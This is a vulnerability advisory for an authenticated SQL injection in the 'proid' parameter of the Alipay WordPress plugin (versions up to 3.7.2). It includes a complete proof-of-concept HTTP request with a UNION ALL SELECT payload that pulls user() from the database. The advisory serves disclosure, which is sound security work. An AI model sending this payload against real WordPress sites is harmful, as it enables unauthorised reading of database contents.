Alipay <= 3.7.2 - Authenticated SQL Injection

Description

A proid GET parameter of the plugin is not sanitised, properly escaped or validated before inserting to a SQL statement not delimited by quotes, leading to SQL injection.

Proof of Concept

GET /wp-admin/options-general.php?page=ws_alipay&action=edit&proid=-5818%20UNION%20ALL%20SELECT 73,73,73,73,73,user(),73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73%23 HTTP/1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [admin]
Connection: close